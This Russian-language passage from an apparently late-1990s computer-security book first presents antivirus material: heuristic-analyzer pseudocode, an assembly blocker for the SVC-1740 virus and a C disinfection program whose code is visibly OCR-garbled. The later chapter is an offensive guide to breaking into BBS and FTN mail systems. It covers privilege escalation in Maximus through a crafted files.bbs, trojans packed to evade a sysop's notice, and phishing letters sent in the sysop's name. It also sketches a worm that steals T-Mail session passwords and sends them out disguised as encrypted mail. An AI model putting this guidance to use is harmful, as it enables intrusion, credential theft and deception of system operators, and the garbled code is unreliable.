Расшифровщик может быть совмещен с алгоритмами, противодействующими трассировке кода вируса с использованием отладчиков. Ознакомиться с ними можно в специальной литературе, посвященной борьбе с НСК. Авторы вирусов, как правило, редко изобретают что-то новое и используют широко известные методы.
Эвристическим анализатором кода называется набор подпрограмм, анализирующих код исполняемых файлов, памяти или загрузочных секторов для обнаружения в нем разных типов компьютерных вирусов. Рассмотрим универсальную схему такого кодоанализатора. Действуя в соответствии с этой схемой, кодоанализатор способен максимально эффективно задействовать всю информацию, собранную для тестируемого объекта.
Основные термины:
События распознаются при помощи подпрограмм выявления событий, в которых могут использоваться также таблицы с данными. Остальные данные просто хранятся в массивах и не анализируются. Рассмотрим функциональную схему эвристического анализатора (рисунок 6.1.).
Эмулятор кода работает в режиме просмотра, то есть его основная задача - не эмулировать код, а выявлять в нем всевозможные события. События сохраняются в таблице событий по алгоритму:
if (Events[EventNumber]==0) Events[EventNumber]=++CountEvents;
где: Events - массив событий;
EventNumber - номер регистрируемого события;
CountEvents - порядковый номер зарегистрированного события.
Таким образом, в ячейку массива Events записывается порядковый номер для выявленного события. CountEvents при инициализации равен 0. После того, как эмулятор завершит свою работу, последовательно запускаются два преобразователя. Первый преобразователь заполняет массив действия, выбирая данные из массива событий и цепочек связных и несвязных событий по следующему алгоритму:
for(i=0;i<CountMaskEvrnrs;i++) {
if (MaskEvents[i][0]==0) {
for(j=2;j<MaskEvents[i][1];j++)
if(Events[MaskEvents[i][j]]==0)
goto nextMask;
else for(e=0,j=2;j<MaskEvents[i][1];j++) {
if(Events[MaskEvents[i][j]]==0)
if (Events[MaskEvents[i][j]]<e)
goto nextMask;
else e=Events[MaskEvents[i][j]];
}
Actions[i]=1;
nextMask:
}
}
где: CountMaskEvents - число масок цепочек событий;
MaskEvents - двумерный массив цепочек связных и несвязных событий;
Actions - массив действия.
Затем выполняется второй преобразователь, который выбирает данные из массива действия и цепочек эвристических масок и вычисляет эвристическое число по следующему алгоритму:
for(i=0;i<CountMaskHeurist;i++) {
for(j=1;j<MaskHeurist[i][0];j++)
if(Actions[MaskHeurist[i][j]]==0) goto
nextMaskI;
NumberHeurist=i+1;
break;
nextMaskI:
}
где: CountMaskHeurist - число эвристических масок;
MaskHeurist - двумерный массив с эвристическими масками;
NumberHeurist - эвристическое число.
Рассмотрим пример. В дисплейном классе ВУЗа эпидемия, часть машин заражена неизвестным вирусом. До конца сессии - несколько дней, выключение машин из учебного процесса смерти подобно (в первую очередь для обслуживающих класс сотрудников). Ситуация усугубляется тем, что студенты постоянно переносят программы на дискетах с одной машины на другую. Как ограничить распространение эпидемии, пока вирус не уничтожен?
Выход - написать антивирус-блокировщик. Практически все резидентные вирусы определяют факт своего наличия в памяти машины, вызывая какое-либо программное прерывание с "хитрыми" параметрами. Если написать простую резидентную программу, которая будет имитировать наличие вируса в памяти компьютера, правильно "отзываясь на пароль", то вирус, скорее всего, сочтет эту машину уже зараженной. Даже если некоторые файлы на машине содержат в себе код вируса, в случае использования блокировщика заражения всех остальных файлов не произойдет.
Разумеется, надо попытаться запустить блокировщик раньше всех остальных программ, например, в файле config.sys:
install c:\util\stopsvc.com
Но если вирус успел заразить command.com или стартует из загрузочного сектора, то антивирус-блокировщик не поможет.
Листинг программы, блокирующей распространение вируса SVC-1740:
;; Резидентный блокировщик вируса SVC-1740 ;; (с) К. Климентьев, Самара 1997 cseg segment assume cs:cseg, ds:cseg, ss:cseg org 100h ; Переходим к инициализации программы Start: jmp Install ; Обработчик прерывания INT 21h. int21: ; Проверим номер функции, если 83h - ; то это запрос присутствия вируса cmp ah, 83h jnz Skip21 ; Ответим, что вирус присутствует mov dx, 1990h ; 3апускаем оригинальный обработчик прерывания Skip21: db 0EAh ; Код команды JMP Ofs21 dw ? Seg21 dw ? ; Инициализируем программу Install: ; Проверим, не инсталлирована ли уже эта программа. Если ; инсталлирована, выведем сообщение об этом и выйдем из программы. ; Вторую копию программы инсталлировать не имеет смысла mov ah, 83h int 21h cmp dx, 1990h jz Already ; Считаем оригинальный вектор прерывания INT 21 h mov ax, 3521h int 21h mov Ofs21, bx mov Seg21, es ; Установим наш вектор прерывания INT 21h mov ax, 2521h mov dx, offset int21 int 21h ; Выведем сообщение об успешной инсталляции программы в памяти mov ah, 9 mov dx, offset OkMes int 21h ; Выйдем из программы, оставив обработчик резидентным mov dx, offset Install int 27h ; Выведем сообщение о том, что вирус ; или наша программа уже в памяти Already: mov ah, 9 mov dx, offset BadMes int 21h ret ; Сообщения программы OkMes db "Yeah! STOPSVC installed now!",13,10 db "(c) KostyaSoft, Samara 1997$" BadMes db 7, "Perhaps, virus is in memory already. Sorry $" cseg ends
Итак, нужно написать некую программу, которая будет сканировать каталоги указанного диска, искать зараженные файлы и исцелять их.
Важный момент - поиск и лечение должны производиться после загрузки с "чистой" дискеты. Это правило должно выполняться при использовании любого антивируса. Но если коммерческие программы, написанные профессиональными вирусологами, каким-то образом пытаются противодействовать "заразе", пресекая действия агрессивных резидентов, разыскивая и обращаясь к оригинальным обработчикам прерываний или проверяя свой код на целостность, то представленная программа из-за своей простоты этого делать не умеет.
В качестве языка программирования выбран С. Приоритетным признано использование таких библиотечных процедур, форматы которых идентичны во многих системах программирования. Поэтому, например, использовалась процедура _dos_findfirst(), а не findfirst(). Программа была написана и отлаживалась в системе, программирования JPI TopSpeed С v3.01, а также была проверена на Borland C++ v3.1. Кроме того, контролировалось наличие, идентичность по функциям и форматам вызова использованных библиотечных функций в системах программирования Microsoft C++ v6.0 и Watcom C++ v10.0. Но если что-то и не совпадет, откорректировать программу любому программисту не составит труда.
Основу программы составляет алгоритм обхода дерева каталогов и поиска в них файлов с расширениями "СОМ" и "ЕХЕ".
В тот момент, когда обнаружен очередной потенциально зараженный файл, вызывается функция infectedQ с именем файла в качестве параметра. Задачей этой функции является проверка указанного файла на заражение и возврат соответствующего признака.
В случае положительного результата на заражение вызывается функция cure(), которая и выполняет операцию исцеления зараженной программы.
Если требуется написать программу для лечения для какого-либо другого вируса, достаточно просто изменить содержимое процедур cure() и infectedQ.
Итак, как же узнать, заражена программа или нет? В прошлых главах это делалось чисто визуально, теперь же требуется определить формальные признаки зараженности.
В основе общепризнанного метода лежит принцип выделения сигнатуры вируса. Сигнатура - это последовательность байт, однозначно характерная для конкретного вируса.
Разумеется, неправильно было бы использовать для детектирования файла такие ненадежные признаки, как, например, 60 секунд во времени создания файла. Во-первых, это может быть признаком случайного изменения (например, при упаковке/распаковке некоторыми архиваторами). Во-вторых, слишком многие вирусы используют для самоопознания одинаковые признаки. Наконец, эти признаки могут принадлежать совершенно здоровой программе (как в истории с антивирусом antitime и сигнатурой MsDos).
Вообще говоря, сигнатура - это множество N пар <Pi,Bi>, i=l.N, где Pi - расположение i-го байта, Bi - значение i-го байта. Но на практике часто используют непрерывные сигнатуры, для которых важно определить только место расположения первого байта и длину сигнатуры.
Какой должна быть длина сигнатуры? Вообще говоря, чем больше - тем лучше, в идеале в сигнатуру должна входить вся неизменяемая часть вируса, что гарантирует однозначность распознавания. Но это невероятно увеличит объем антивируса (а известные программы лечат тысячи вирусов) и замедлит процесс распознавания. Таким образом, целесообразным следует считать количество от нескольких байт до нескольких десятков байт - не больше. Остановимся на цифре 6.
Итак, в качестве сигнатуры вируса SVC-1740 выберем 6 байт вируса, которые размещены начиная с 1724-го байта, если считать от конца зараженного файла (с 16-го байта вируса). Вполне возможно, что эти 6 байт совпадают для всех вирусов семейства SVC. Но вероятность того, что машина сразу заражена несколькими вирусами одного семейства, крайне мала. А вот выбор в качестве сигнатуры шести первых байт вируса был бы точно ошибочным, потому что, как уже говорилось выше, подобное начало характерно для очень большого числа вирусов.
Итак, сигнатура 0B4h 83h 0CDh 21h 5Eh 56h длиной 6 байт расположена начиная с 1724-го байта, если считать от конца зараженной программы.
Теперь рассмотрим вопрос лечения программы. Фрагменты зараженной программы, которые необходимо восстановить для излечения, определены ранее.
Напомним, что вирус SVC-1740, заражая программу, дописывается в ее конец, сохраняя в своем теле первые 24 байта оригинальной программы. Поэтому для излечения как ЕХЕ, так и СОМ-программ, вполне достаточно переписать сохраненные 24 байта в начало программы без учета того, что большая их часть не была изменена, и отсечь 1740 вирусных байт в конце зараженной программы.
Но с методической точки зрения, следуя стратегии заражения, необходимо в СОМ-программе восстановить только первые три байта, а в ЕХЕ-програмее - 6 ранее измененных слов заголовка.
Поэтому для функции cure() предусмотрен именно второй алгоритм лечения, хотя он более медленный и сложный.
Итак, для СОМ-файла считываем 3 байта, с 80-го по 78-й, если считать от конца файла, и переписываем их в начало файла, для ЕХЕ-файла - перемещаем 6 слов согласно таблице 6.1. и отсекаем последние 1740 байт.
Таблица 6.1. Таблица перемещений для ЕХЕ-файла
| Источник, отсчет от конца файла | Приемник, отсчет от начала файла |
|---|---|
| 78 | 2 |
| 76 | 4 |
| 66 | 14 |
| 64 | 16 |
| 60 | 20 |
| 58 | 22 |
Демонстрационный антивирус-фаг для вируса SVC-1740.
#include <stdio.h>
#include <dos.h>
#include <dir.h>
#include <str.h>
#include <process.h>
#include <errno.h>
#include <bios.h>
#include <io.h>
#include <fcntl.h>
#define F_FOUND 0
#define PATH_LEN 128
#define DRIVE_LEN 4
#define BLANK_LEN 80
#define BAD 1
#define GOOD 0
#define DBG
char
/* Строка имени текущего подкаталога */
path[PATH_LEN],
/* Строка имени начального места расположения */
old_path[PATH_LEN],
/* Строка имени требуемого устройства */
drive[DRIVE_LEN],
/* Пустая строка */
blank[BLANK_LEN];
int
/* Количество отсканированных каталогов */
n_dir,
/* Количество исследованных файлов */
nJil,
/* Количество больных и исцеленных файлов */
n_ill;
int
/* Длина имени файла */
I;
/* Временный индекс */
#include "antilib.c"
/* Рекурсивная процедура обхода дерева каталогов */
walk()
{
int found_d, found_f;
struct find_t buf;
/* Поиск каталогов */
found_d = _dos_findfirst("*.*",_A_SUBDIR ,&buf);
while (found_d =- F_FOUND) {
if ((buf.name[0] != ".") && (buf.attrib & _A_SUBDIR )) {
chdir(buf.name);
walk();
chdir("..");
}
found_d= _dos_findnext(&buf);
}
/* К этому моменту не отсканированных нижележащих каталогов
больше не осталось - сканируем файлы */
n_dir++;
getcwd( path, PATH_LEN );
/* Поиск файлов */
while (foundJ == F_FOUND) {
I=strlen( buf.name );
if ( ((buf.name[l-3]=="C") && (buf.name[l-2]=="0") &&
(buf.name[l-1]=="M")) || ((buf.name[l-3]=="E") &&
(buf.name[l-2]=="X") && (buf.name[l-1]=="E"))) {
n_fil++;
printf("%c%s",13,blank);
printf("%c%s\\%s ",13,path,buf.name);
/* Нашли новый файл - надо проверить, инфицирован ли он.
Если заражен, то лечим */
if (infected(buf.name)==BAD)
cure(buf.name);
}
found_f=_dos_findnext( &buf );
}
}
main( int argc, char *argv[] ) {
puts("ANTISVC - демонстрационный антивирус-фаг");
if (argc < 2) {
printf("Введите имя диска в качестве параметра"); exit(2); }
if(((toupper(argv[1][0]))>"Z")ll((toupper(argv[1][0]))<"A"))
{ puts("HeBepHO задано имя диска"); exit(3); }
drive[0]=argv[1][0]; drive[1 ]=":";
drive[3]="\0';
for (i=0;i<BLANK_LEN;i++) blank[i]="";blank[BI_ANK_LEN-1]="\0";
n_dir=0; n_fil=0;
getcwd(old_path, PATHJ-EN);
drive[2]="\0"; system(drive);
drive[2]=^"; chdir(drive);
/* Запускаем рекурсивный обход дерева
каталогов для выбранного диска */
walk();
old_path[2]="0"; system(old_path);
old_path[2]='\"; chdir(old_path);
printf( "\nKaталогов : %d\n"
"файлов : %d\n"
"Обнаружено больных и излечено: %d",
n_dir, n_fil, n_ill);
if (nJII) exit(1); else exit(O);
Файл "ANTILIB.C", включаемый в предыдущий:
/* Сигнатура */
char sign[7]={ (char) OxB4,
(char) 0х83,
(char) OxCD,
(char) 0х21,
(char) Ox5E,
(char) 0х56,
"\0");
int infected( char *fn ) {
int f;
int r,q;
char buf[7]; /* Буфер под сигнатуру */
/* Открываем файл */
r=_dos_open( fn, 0_RDONLY, &f );
if (r) {
printf(" - ошибка открытия!");
return GOOD;
}
/* Читаем 6 байт */
lseek( f, -1724, SEEK_END );
r=_dos_read( f, buf, 6, &q ); buf[6]="\0";
if ((r)||(q!=6)) {
printf(" - ошибка чтения!");
_dos_close(f);
return GOOD;
}
/* Закрываем файл */
_dos_close(f);
/* Сравниваем байты с сигнатурой */
if (strcmp( buf, sign)==0) {
printf(" - был болени...");
n_ill++;
return BAD;
} /* Болен !!! */
/* Годен к в/службе. П/пк мед. службы Орлов :-) */
return GOOD;
}
cure( char *fn )
{
int f;
int mz;
int r,q;
char buf[24]; /* Буфер под байты */
/* Открываем файл */
r=_dos_open( fn, 0_RDWR, &f );
if (r) {
printf(" - ошибка открытия!"); return;
}
/* Читаем первые два байта для определения типа программы */
r=_dos_read( f, &mz, 2, &q );
if ((r)ll(q!=2)) {
printf(" - ошибка чтения!");
_dos_close(f);
return;
}
/* Читаем сохраненные вирусом 24 байта старого начала */
lseek( f, -80, SEEK_END );
r=_dos_read( f, buf, 24, &q );
if ((r)||(q!=24)) {
printf(" - ошибка чтения!");
_dos_close(f);
return;
}
/* Определяем тип программы */
if ((mz==0x4D5A)||(mz==0x5A4D)) { /* Это ехе */
/* Пишем правильные PartPag и PageCnt 7
lseek( f, 2, SEEK_SET );
r=_dos_write( f, &buf[2], 4, &q );
if ((r)||(q!=4)) {
printf(" - ошибка записи!");
_dos_close(f);
return;
}
/* Пишем правильные ReloSS и ExeSP 7
lseek( f, 14, SEEK_SET );
r=_dos_write( f, &buf[14], 4, &q );
if ((r)||(q!=4)) {
printf(" - ошибка записи!");
_dos_close(f);
return;
}
/* Пишем правильные ReloCS и ExelP */
lseek( f, 20, SEEK_SET );
r=_dos_write( f, &buf[20], 4, &q );
if ((r)||(q!=4)) {
printf(" - ошибка записи!");
_dos_close(f);
return;
}
} else { /* Это com */
/* Восстанавливаем сохраненные З первые байта программы */
lseek( f, О, SEEK.SET);
r=_dos_write( f, &buf[0], 3, &q );
if ((r)||(q!=3)) {
printf(" - ошибка записи!");
_dos_close(f);
return;
}
/* Усекаем файл (переходим на начало вируса и записываем 0 байт) */
lseek( f, -1740, SEEK_END);
r=_dos_write( f, buf, 0, &q);
/* Закрываем файл */
_dos_close(f);
printf("Tenepb исцелен !\п");
return;
}
}
В этой главе описаны методы взлома BBS и FTN-сетей, как программные, так и "обманные", Представлен исходный текст программы-взломщика с комментариями. Подробно рассказано о "слабых местах" различных программ для BBS и FTN-сетей. Даются рекомендации по защите компьютера от несанкционированного проникновения.
BBS - Bulletin Board System (электронная доска объявлений). Это небольшой информационный центр на базе микрокомпьютера (с винчестером большого объема), к которому пользователи могут подключиться через свой компьютер по телефонной сети в режиме точка - точка.
Работая с BBS, пользователи могут не только скопировать оттуда имеющийся файл, но и оставить свой. Файлом может являться как письмо, так и обычная программа. Как правило, BBS работает в ночное время, а днем это обычный телефонный номер. Главным на BBS является системный оператор (SysOp), который и назначает ее правила и тематику. Услуги BBS часто являются бесплатными, для связи с ней достаточно обычной терминальной программы. При первом входе нужно зарегистрироваться, затем абоненту выделяется определенный промежуток времени для работы. Часто выделяемого времени недостаточно, тогда появляется потребность к взлому BBS. О том, как надо звонить на подобные BBS, как получать оттуда файлы и писать письма, можно узнать в специальной литературе. Поставленная задача - рассказать читателю, каким образом можно повысить себе уровень доступа или получить полный доступ к компьютеру. Для системных операторов это будет лишним поводом задуматься о том, как страшны последствия безграмотности...
Существует большое количество программ, предназначенных для создания и поддержания работы BBS. Рассмотрим самую популярную среди них - Maximus.
Несанкционированно проникнуть на BBS, получить доступ к закрытым областям, уничтожить информацию - такие задачи ставит перед собой взломщик.
Существуют так называемые списки файлов, в которых содержится информация о доступных пользователям этой BBS ресурсах. Как правило, такие списки есть в каждой специальной тематической конференции. Пользователи могут скопировать оттуда какой-либо файл или оставить свой. В программе Maximus списком всех файлов, доступных в конференции, является файл с названием files.bbs.
Специально для этой программы создан язык программирования, схожий с языками С и Pascal. На нем можно писать собственные программы под BBS. Скорее всего, именно поэтому большинство системных операторов предпочитают использовать Maximus. После компиляции написанной программы ее можно добавить в общую базу Maximus, и она начнет работать.
Каждая откомпилированная программа приобретает определенную маску файла. Откомпилированная МЕС-программа имеет маску *. bbs, схожую с маской списка файла. Обычно в этих файлах содержатся списки, но если в коде встречаются какие-либо служебные команды, они будут выполнены. Этим взломщик и может воспользоваться.
В Maximus существуют два языка: МЕС и МЕХ. Язык МЕС очень прост, разобраться в нем может каждый. Он позволяет оперировать различными данными, заставками на BBS, базой пользователей. Системный оператор обязательно должен знать этот язык.
Используя команду "PRIV_UP" языка МЕС системный оператор может без особых усилий повышать уровень пользователя, при условии, что последний будет писать и отправлять файлы на станцию. С повышением уровня, пользователь получает дополнительные возможности (увеличивается доступное для работы время, объем информации, которую можно получить с BBS). Этим и может воспользоваться хакер. Ему остается только найти BBS, работающую на программе Maximus, на которой есть много файловых конференций. При этом одна из этих конференций должна быть пустой (то есть в ней не должно быть файла files.bbs, содержащего доступные файлы в данной конференции). Таким образом, остается проверить только одно условие - если все копируемые на BBS файлы помещаются в конференцию, которая была выбрана последний раз, то такую BBS можно взломать без особых усилий. Хакеру остается только создать файл files.тес, записать в него команду PRIV_UP, затем откомпилировать этот файл при помощи компилятора МЕССА (теперь он будет называться files.bbs) и отправить его на BBS. С этого момента хакер может поднимать свой уровень доступа, просматривая данную конференцию, пока он не достигнет уровня системного оператора станции. После этого компьютер окажется полностью в его распоряжении.
Если под рукой не оказалось компилятора МЕССА, то создать files.bbs можно и вручную. Для этого нужно создать файл files.bbs, а затем ввести в него команду повышения уровня - на языке Maximus это всего три символа (код первого - 23h, следующие два - символы pU).
Еще один способ взлома BBS рассчитан на неграмотных системных операторов, не обладающих глубокими знаниями. Он заключается в том, что на станцию засылается программа (причем безразлично, куда она попадет), которая сама добавит команду повышения уровня в файл files.bbs. Во время просмотра доступных файлов хакеру автоматически будет подниматься уровень. Ниже приведен текст похожей исходной программы - фантазия тут может быть безгранична. Эта программа добавляет в файл files.bbs байты, повышающие уровень пользователю. После того, как системный оператор запустит эту программу на своем компьютере, программа ищет файл files.bbs и дописывает туда три байта. Приведенный пример рассчитан на системных операторов, которые держат свои файлы в каталоге, по умолчанию предлагаемом программой для установки. Хотя можно добавить поиск files.bbs по всему винчестеру компьютера.
После того, как файл откомпилирован, его нужно упаковывать, чтобы системный оператор ничего не заподозрил. Этот файл будет содержать большое количество непонятных символов, и при быстром просмотре распознать скрытую в нем программу практически невозможно.
tasm.exe vzlom.asm tlink.exe vzlom.obj /t pklite vzlom.com
После этого файл отправляется на BBS и комментируется как демонстрационная программа или как утилита для DOS. Дальше взломщику остается только ждать, пока системный оператор запустит файл. Через некоторое время можно звонить и наслаждаться. Данный метод не сработает, если настоящая опция File Titles в Maximus заменена на ей подобную.
Рассмотренные выше способы взлома BBS предполагают наличие у пользователя базовых знаний о системе. Теперь немного о том, как можно достать пароль еще проще. Практически на каждой BBS существуют неопытные пользователи, имеющие высокий уровень доступа (информация об уровне доступа пользователей BBS доступна почти всегда). Если же такого пункта нет, то "хорошего" пользователя всегда можно вычислить, например, по времени, которое он проводит на станции, или по объему скопированной и присланной им информации. Итак, определив человека, паролем которого неплохо завладеть, пишем ему письмо о том, что по техническим причинам (причину придумываем любую, главное правдоподобную) ему следует изменить свой рабочий пароль (предлагаем новый, например "НАСК_01"). После того, как пользователь поменяет свой пароль (на это ему нужно отвести дня два-три, поскольку в один день он может не позвонить, в другой - только поменяет пароль, в общем, время ему понадобиться), можно беспрепятственно входить под его именем и пользоваться системой. Главное, что-бы письмо было написано от имени системного оператора или какого-либо администратора данной системы. Если система не позволяет менять имя адресата в поле FROM, стоит зайти в нее под другим именем (к примеру, Mr. CoSysOp) и написать подобное письмо. Наверное, не надо предупреждать, что все данные, указанные при регистрации под заведомо ложным именем, не должны быть настоящими.
Можно предложить еще один способ проникновения - метод "забывания пароля". Вся хитрость в том, что при входе в систему указывается имя какого-либо пользователя этой BBS, пароль которого, естественно, не известен. После неудачных попыток ввода пароля (не надо пытаться его подобрать, лучше сделать вид, что пароль забыт, вводя различные слова, типа Sprite, Cola и так далее) нужно составить письмо системному оператору с просьбой поменять "забытый" пароль на другой. Указываем новый пароль, затем сочиняем душещипательную историю о каком-нибудь хакере, якобы подобравшем наш пароль на другой BBS или вообще в Интернет, из-за чего приходится использовать на всех системах разные пароли. Если системный оператор не очень опытный, выслушав такую ужасную историю он обязательно войдет в положение несчастного и выполнит его просьбу - поменяет текущий пароль на предложенный. Дальше - полная свобода действий. Работоспособность данного метода зависит от того, насколько опытен оператор, а также убедительна ли выдуманная история. Прочитав ее, системный оператор не должен и предположить, что его обманывают.
Что можно сказать о широко используемой технологии FTN? Множество лазеек для взлома. Чего стоит почтовый файл РКТ, содержащий в себе незашифрованный пароль, узнать который никаких проблем не составляет! А файлы с паролями в уважаемом всеми T-Mail, хранящиеся в нешифрованном виде и доступные любому грамотному человеку, впрочем, как и все конфигурационные файлы наиболее распространенных программ для работы с FTN? На основе подобных промахов в разработке уже давно написаны программы, позволяющие сломать ту или иную BBS, вызвать режим DoorWay и сотворить с удаленным сервером все, что угодно. Однако это еще не предел возможностей программиста. Подумаешь, сломать BBS! Власть над одной из BBS - ничто в сравнении с тем, что хакер может держать в своей руке почту от сотен почтовых узлов, отправлять почту от чужого имени, действовать от лица другого члена или пользователя FTN. Фантастика? Нет - реальность.
Почитатели Эдгара По наверняка знают выражение "Червь-Победитель". Собственно, любой грамотно написанный "червь" станет победителем, если выйдет на свободу. Особенно с применением свежих идей. Применяя технологию СМ (саморазмножающиеся механизмы), называемую в народе "компьютерные вирусы", можно добиться немалого.
Включив в свой СМ некоторую особенность, вместо привычной деструкции можно получить парольный доступ ко многим почтовым узлам со всеми вытекающими отсюда последствиями. Как известно, при установке соединения между двумя FTN-мейлерами они сравнивают свои адреса и пароли. То есть сначала хост получает основной адрес звонящего мейлера и пароль на сессию. Если в конфигурации хоста указаны адрес и пароль звонящего и они совпадают с предъявленным паролем, хост показывает звонящему свой пароль и при совпадении таковых происходит парольная сессия. В подавляющем большинстве случаев электронная почта передается только в парольные сессии, иначе любой мейлер мог бы предъявить хосту подставной адрес и забрать почту, предназначенную для других. В данном случае для того, чтобы перехватывать чужую электронную почту или действовать от лица какого-либо системного оператора, необходимо узнать пароли на сессию звонящей системы и хоста, ожидающего звонка. Кто-то иронически улыбнется: "Как же их можно узнать, если нет возможности "прикинуться хостом", чтобы звонящая система показала свои пароли, если она звонит совсем по другому номеру телефона?!". Разумеется. Но это не нужно. Кто-то скажет: "В таком случае получить эти пароли и от хоста нельзя, поскольку он не будет предъявлять свой пароль и не включит парольную сессию, пока не увидит, что предложенный пароль совпадает с его паролем!" Конечно. Но это тоже не нужно. Что же предпринять? Дело в том, что и хост, и звонящая система могут преподнести свои пароли "на блюдечке". Для этого не нужно захватывать в заложники семью системного оператора или предлагать миллионы долларов хозяину системы - достаточно разместить на компьютере системного оператора незаметную программу, которая эти пароли найдет и отправит на какой-либо из указанных FTN-адресов. Вот и все. Больше ничего не нужно.
Теперь несколько возможностей реализации этого плана. В странах бывшего СССР наиболее часто используется DOS-совместимый мейлер Андрея Елкина T-Mail, поэтому принципы взлома рассмотрены на примере системы, работающей именно на его основе. Некоторые пользуются программой Антона Дейнова "SantaFox-Mail", принципы ее взлома похожи, кроме того, взломать эту систему гораздо легче благодаря встроенной функции DoorWay. Но об этом ниже. Итак, что же программа должна сделать с системой, чтобы заветные пароли наконец-то были получены? Собственно, алгоритм весьма прост, и описать его можно примерно так:
Теперь рассмотрим возможные способы реализации. Теоретически это не сложно.
Как правило, системные операторы держат свой T-Mail на жестком диске. Первая задача - определить, куда же оператор спрятал свое "сокровище". Тут-то и намечается разделение. Можно написать "троянца", подсадить его в какую-либо конкретную систему и ждать, когда эта система пришлет свои пароли по почте. Но можно написать и "вирус", расходящийся на несколько почтовых узлов, после чего все зараженные узлы сообщат пароли на сессии со всеми своими парольными линками. Можно искать T-Mail по всему жесткому диску с помощью рекурсивного обхода всех логических дисков и вложенных каталогов. Понятно, что этот метод не так уж деликатен, поскольку системный оператор может заметить, что некая программа на протяжении нескольких минут почему-то занимает винчестер. От такой глупости откажемся. Другое дело, если этим будет заниматься вирус. Почему? Да потому, что большинство вирусов отслеживают вызовы функции 4Bh DOS-прерывания 21h для заражения программ. В таком случае, что мешает этому вирусу анализировать запущенные программы на предмет "а не T-Mail ли это часом?" и находить "сокровища" именно таким образом? Ничего. Анализ правильнее будет вести не только по имени запускаемого файла, потому что системный оператор мог переименовать программу, а в данном случае необходима максимальная надежность. Поэтому лучше всего отлавливать T-Mail по постоянной сигнатуре ЕХЕ-файла.
Узнав, где находится программа T-Mail, можно определить, где находятся ее конфигурационные файлы. Если при запуске T-Mail ключ "-С" не задан (кстати, перехват командной строки - это еще один довод в пользу того, что поиск программы корректнее выполнять при помощи вируса), основным файлом конфигурации является "T-MAIL.CTL", находящийся в том же каталоге, что и T-Mail. При запуске программы ключ "-С" задает путь и имя основного конфигурационного файла, который понадобится для взлома. Так что необходимо предусмотреть оба варианта запуска. После определения места расположения основного конфигурационного файла нужно получить путь еще к двум файлам - файлу паролей и файлу подстановок (пароли могут находиться в обоих файлах). Важное замечание: если пароль для какого-либо адреса указан в файле подстановок, его дублер из файла паролей игнорируется.
Путь к файлу паролей указан в переменной Security, к файлу подстановок - в переменной SubstList. Переменная конфигурационного файла - это строка, начинающаяся со специальных слов. Например, строка:
Security C:\NETWORK\T-MAIL\PASSWORDS.LST
называется переменной Security и содержит путь и имя файла паролей, в то время как строка
SubstList C:\NETWORK\T-MAIL\SUBST.LST
называется, соответственно, переменной SubstList и содержит путь и имя файла подстановок. Разумеется, было бы нежелательно отправлять эти два файла вложением (attach), поскольку оно может потеряться. Надежнее передать эти текстовые файлы по электронной почте в виде обычного письма. Тут возникает проблема: если системный оператор станции, через которую будет проходить это послание (ведь всем известно о его праве читать транзитную почту), обнаружит пароли, он немедленно предупредит об этом того оператора, у кого эти пароли были украдены. Последний договорится со всеми линками о новых паролях, и все старания окажутся напрасными. То есть в целях конспирации придется зашифровать письмо, чтобы при его просмотре казалось, что оно содержит прикрепленный файл. Разумеется, это не обязательно должен быть настоящий PGP, достаточно лишь внешнего сходства и невозможности быстро расшифровать засекреченное послание. Это неплохая гимнастика для ума, поскольку хакер должен уметь не только расшифровывать, но и маскироваться, не только ломать, но и строить.
Теперь нужно выбрать адрес, на который придет это письмо. Желательно отправить его по e-mail в Internet через FTN-Internet гейт. Дело в том, что в таком случае пострадавшему системному оператору будет очень сложно найти отправителя. Очевидно, в этом письме поле "From:" и обратный адрес должны быть подставными. Это собьет системного оператора с толку, и он не станет удалять или задерживать письмо, особенно если в него добавлены "лишние" клуджи "(c)Via:". О том, как создать нетмейл письмо, можно прочитать в FTS.
Почему же SantaFox-Mail сломать гораздо проще? Дело в том, что в основном конфигурационном файле SF-Mail имеется переменная, указывающая пароль на режим DoorWay. От "червя" требуется только задать какой-либо заранее известный пароль на пользование DoorWay, после чего нужно соединиться терминальной программой с этой системой и набирать это слово. Попав в DoorWay, файлы паролей и подстановок можно украсть "голыми руками". Конечно, если системный оператор заметит, что кто-то брал у него эти файлы, он примет соответствующие меры. Кроме того, после изменения паролей могут появиться сбои в работе системы - пользователи будут пытаться войти в DoorWay со старыми паролями, но они не будут работать. Ясно, что оператор об этом узнает очень скоро.
Как было показано в предыдущей части, "червь" может не только воровать пароли, но и задавать свои. В T-Mail нет режима DoorWay, зато есть так называемый "главный пароль системы", заданный в переменной T-Password основного конфигурационного файла. Изменив этот пароль, можно послать на удаленную систему письмо с соответствующими указаниями к действиям и добиться нужного результата.
Об указаниях подробно написано в документации по программе T-Mail, но нужно помнить, что системный оператор будет оповещен обо всех несоответствиях и сбоях в работе системы.
Если у вас дома стоит собственная BBS или вы только собираетесь ее открыть, сначала нужно позаботиться о ее безопасности.
Во-первых, прежде чем создать свою BBS, надо выбрать программу для нее. Чем больше возможностей предоставляет программа, тем больше всевозможных лазеек, которыми может воспользоваться хакер. В Maximus эти лазейки уже описаны - лучше всего не пользоваться этой программой. Если Maximus все-таки используется, лучше не устанавливать больше никаких дополнительных утилит, поскольку именно они могут, послужить предпосылкой проникновения хакера на BBS. DOS-SHELL лучше сразу убрать с BBS. Никогда никому нельзя раскрывать свои пароли, копировать информацию о пользователях также не стоит. Берегитесь троянских программ, копируемых пользователями. Их можно проверять либо отладчиками, либо дизассемблером, другого способа нет, разве что не запускать их совсем.
Особое внимание нужно уделить директориям. Никогда не устанавливайте программный продукт в директорию, предлагаемую программой по умолчанию. Это, несомненно, может облегчить работу любой троянской программе. Также не стоит запускать маленькие файлы, попавшие на станцию извне. Обычно такие программы и являются "бомбами определенного действия".
Вообще лучшая защита - это нападение. Дело в том, что хакерами многие называют себя совершенно безосновательно. Хакер по заказу фирмы-производителя ломает их системы, таким образом находя лазейки, которые могут быть использованы подобными взломщиками. То есть хакер ищет "дыры", а компания их закрывает. Таким образом, существуют системы, которые взломать практически невозможно.
В этой главе раскрыты некоторые "хитрости": регистрация под вымышленным именем, обход различных "подводных камней" (АОН, авторизирующиеся программы, клавиатурные шпионы, ПЭМИН). Особое внимание уделено вопросам работы с электронной почтой - выяснению реального отправителя сообщения, отправлению анонимных сообщений, выбору второго почтового адреса.
